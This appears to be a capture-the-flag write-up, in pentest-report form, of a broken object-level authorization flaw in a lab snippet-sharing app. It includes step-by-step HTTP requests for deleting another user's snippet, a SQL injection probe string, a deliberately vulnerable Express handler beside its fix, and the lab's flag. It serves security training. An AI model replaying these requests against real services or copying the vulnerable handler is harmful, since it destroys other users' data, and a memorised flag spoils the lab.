BugForge — 2026.06.12

CopyPasta: IDOR Snippet Delete (Broken Object-Level Authorization)

BugForge IDOR / Broken Object-Level Authorization easy

Part 1: Pentest Report

Executive Summary

CopyPasta is a code-snippet sharing application (React single-page frontend, Express/Node JSON API, SQLite-backed) where users create, share, and manage snippets. Testing confirmed that the snippet delete endpoint performs no ownership or role check: any authenticated user can delete any snippet by id, including snippets they do not own.

Testing confirmed 1 finding:

ID Title Severity CVSS CWE Endpoint
F1 Broken object-level authorization on snippet delete High 6.5 CWE-639 DELETE /api/snippets/:id

The flag-bearing finding is a textbook insecure direct object reference on a destructive verb. An account that owns zero snippets was able to delete a snippet belonging to another user and received a 200 success response carrying the flag as an additional key. The defect allows arbitrary destruction of any user’s data with nothing more than a registered account.


Objective

Identify the planted vulnerability in the CopyPasta lab application and capture the flag.


Scope / Initial Access

# Target Application
URL: https://lab-1781224478220-lcxtov.labs-app.bugforge.io

# Auth details
# Self-registration is open: POST /api/register returns a JWT and the user object.
# JWT: HS256, payload {id, username, iat}, NO role claim in the token.
# Role is resolved server-side from the database, so forging a role claim
# in the JWT has no effect.
# Test account: haxor (user id 5, role "user", owns 0 snippets).

The application issues an HS256 JWT presented as Authorization: Bearer <token>. Because the token carries no role claim and the server resolves role from the database, privilege escalation through token tampering was not a viable path, which focused testing on object-level access control instead.


Reconnaissance: Mapping the Snippet API

The frontend is a static React bundle (static/js/main.a0518d46.js); the backend serves a JSON API under /api. The route surface was mapped from the bundle and confirmed against live responses.

Facts that shaped the test plan:

  1. The token has no role claim, and the seed admin account ([email protected]) resolves its role server-side. Token-based privilege escalation was ruled out early.
  2. GET /api/snippets returns only the caller’s own snippets. For the test account this returned [], giving a clean baseline: any snippet the account could affect was owned by someone else.
  3. GET /api/snippets/public returns all public snippets with their owning username and id. This provided concrete object ids owned by other users to target.
  4. The React bundle issues the snippet delete as DELETE /api/snippets/{id}, keyed only on the snippet id with no owner value in the client request path. Object-level authorization has to be enforced server-side per verb regardless of what the client sends, so confirming whether the server enforced ownership on delete became the priority test. The same bundle exposes other destructive verbs on adjacent routes (PUT /api/snippets/:id edit, DELETE /api/profile account deletion) that were not exercised.

Application Architecture

Component Detail
Backend Express/Node JSON API under /api
Frontend React single-page app (static/js/main.a0518d46.js)
Auth JWT HS256, Authorization: Bearer; payload {id, username, iat}, no role claim
Database SQLite-style store (UNIQUE constraint on email)

API Surface

Endpoint Method Auth Notes
/api/register POST No Returns token + user object
/api/verify-token GET Yes Current user
/api/snippets GET Yes Caller’s own snippets only
/api/snippets/public GET Yes All public snippets, with owner username/id
/api/snippets/share/:uuid GET Yes Snippet by share code (returns private snippets too)
/api/snippets/:id DELETE Yes No ownership check (F1)
/api/snippets/:id PUT Yes Edit; same object route, not exercised
/api/profile PUT Yes Field-whitelisted (full_name/bio/email)
/api/profile DELETE Yes Account self-delete; seen in bundle, not exercised
/api/profile/password PUT Yes Changes own password via JWT
/api/profile/:username GET Yes User + their public snippets

Known Users

Username ID Role
admin 1 admin
coder123 2 user
pythonista 3 user
webdev 4 user
haxor (us) 5 user

Attack Chain Visualization

┌─────────────────┐     ┌──────────────────────┐     ┌────────────────────────┐     ┌───────────────────────────┐
│ Register account │ ──▶ │ GET /api/snippets    │ ──▶ │ GET /api/snippets/public│ ──▶ │ DELETE /api/snippets/3    │
│ JWT, role user   │     │ → [] (own nothing)   │     │ → snippet 3 owned by    │     │ → 200 + flag              │
│ owns 0 snippets  │     │                      │     │   another user          │     │ no ownership check        │
└─────────────────┘     └──────────────────────┘     └────────────────────────┘     └───────────────────────────┘

Findings

F1: Broken object-level authorization on snippet delete

Severity: High CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N) CWE: CWE-639 (Authorization Bypass Through User-Controlled Key) Endpoint: DELETE /api/snippets/:id Authentication required: Yes (any registered account)

Description

The snippet delete handler resolves the target snippet by the :id path parameter and deletes it without verifying that the requesting account owns the snippet or holds an administrative role. Any authenticated user can delete any snippet by supplying its id, regardless of who created it.

The raw CVSS vector scores 6.5 (Medium) because the delete itself does not disclose other users’ data (C:N) and destruction registers as an integrity impact (I:H). The finding is rated High because the practical effect is unrestricted destruction of any user’s data by any account.

Impact

Any authenticated user can delete any other user’s snippets.

Reproduction

Step 1: Register an account

POST /api/register HTTP/1.1
Host: lab-1781224478220-lcxtov.labs-app.bugforge.io
Content-Type: application/json

{"username":"haxor","email":"[email protected]","password":"Passw0rd!","full_name":"haxor"}

Response: 200 with a JWT and the user object (id: 5, role: "user"). Subsequent requests use this token as Authorization: Bearer <token>.

Step 2: Confirm the account owns no snippets

GET /api/snippets HTTP/1.1
Host: lab-1781224478220-lcxtov.labs-app.bugforge.io
Authorization: Bearer <token>

Response: 200 with []. The account owns nothing, so any snippet it can affect is another user’s.

Step 3: Identify a snippet owned by another user

GET /api/snippets/public HTTP/1.1
Host: lab-1781224478220-lcxtov.labs-app.bugforge.io
Authorization: Bearer <token>

Response: 200 with the list of public snippets. Snippet 3 is owned by pythonista (user id 3).

Step 4: Delete the other user’s snippet

DELETE /api/snippets/3 HTTP/1.1
Host: lab-1781224478220-lcxtov.labs-app.bugforge.io
Authorization: Bearer <token>

Response:

{"message":"Snippet deleted successfully","flag":"bug{t3A6jD3DzjBNv1Rcigho1G6sPkJp5qF3}"}

The server returns 200 and deletes a snippet the account does not own. The flag is returned as an additional key alongside the success message.

Remediation

Fix 1: Enforce ownership (or admin role) before delete

// BEFORE (Vulnerable)
app.delete('/api/snippets/:id', auth, async (req, res) => {
  await db.run('DELETE FROM snippets WHERE id = ?', [req.params.id]);
  res.json({ message: 'Snippet deleted successfully' });
});

// AFTER (Secure)
app.delete('/api/snippets/:id', auth, async (req, res) => {
  const snippet = await db.get('SELECT user_id FROM snippets WHERE id = ?', [req.params.id]);
  if (!snippet) return res.status(404).json({ error: 'Not found' });
  if (snippet.user_id !== req.user.id && req.user.role !== 'admin') {
    return res.status(403).json({ error: 'Forbidden' });
  }
  await db.run('DELETE FROM snippets WHERE id = ?', [req.params.id]);
  res.json({ message: 'Snippet deleted successfully' });
});

Additional recommendations:

  • Apply the same ownership check to every verb on the object route, not just delete. PUT /api/snippets/:id (edit) shares the route shape and was not exercised; it should be confirmed to enforce the same guard. DELETE /api/profile (account deletion) is also present in the bundle and untested; confirm it requires and acts only on the authenticated account.
  • Return 404 rather than 403 if you prefer not to confirm the existence of objects the caller cannot access.
  • Do not return diagnostic or environment values (such as the flag key here) in production success responses.

OWASP Top 10 Coverage

  • A01:2021 Broken Access Control: The delete endpoint enforces authentication but not authorization. The object id is fully user-controlled and no ownership or role check gates the destructive action, allowing horizontal access across user boundaries.

Tools Used

Tool Purpose
Burp Suite (Repeater) Crafting and replaying authenticated API requests
Browser dev tools Reading the React bundle to map the API surface

References

  • CWE-639: Authorization Bypass Through User-Controlled Key: https://cwe.mitre.org/data/definitions/639.html
  • OWASP API Security Top 10: API1:2023 Broken Object Level Authorization: https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/
  • OWASP Top 10 2021: A01 Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/

Part 2: Notes / Knowledge

Key Learnings

  • Enumerate every HTTP verb on every object endpoint; access control is frequently inconsistent across verbs. Nothing here is novel about IDOR, but the engagement reinforces a habit worth keeping mechanical: when an object route is found, probe it with each verb it accepts (GET, PUT, PATCH, DELETE) rather than assuming the verbs share a guard. Read access was correctly scoped (GET /api/snippets returned only the caller’s snippets), yet DELETE on the same object family had no ownership check at all. A clean way to surface this is to act on an object you provably do not own (own zero snippets, then target someone else’s id) and watch for a 200 instead of 403/404.

Failed Approaches

Approach Result Why It Failed
Mass assignment on PUT /api/profile (role:admin, username:admin) 200 “success” but GET-profile check showed role and username unchanged Server whitelists full_name/bio/email only; extra fields are ignored
SQL injection in profile email ([email protected]' or 1=2--) Stored and round-tripped literally Field is parameterized
JWT role forging Not viable Token carries no role claim; role is resolved server-side from the database
PUT /api/profile/password as cross-user delete/change Not pursued Endpoint takes no target id, so it only changes the caller’s own password

Informational: PUT /api/profile with an existing email (e.g. [email protected]) returns 500 "Database error" from the UNIQUE collision, versus 200 for a free email. This distinguishes registered emails (email-existence check) but was not part of the flag path.


Tags: #idor #broken-access-control #bola #verb-tampering #bugforge Document Version: 1.0 Last Updated: 2026-06-12

#idor #broken-access-control #bola #verb-tampering #bugforge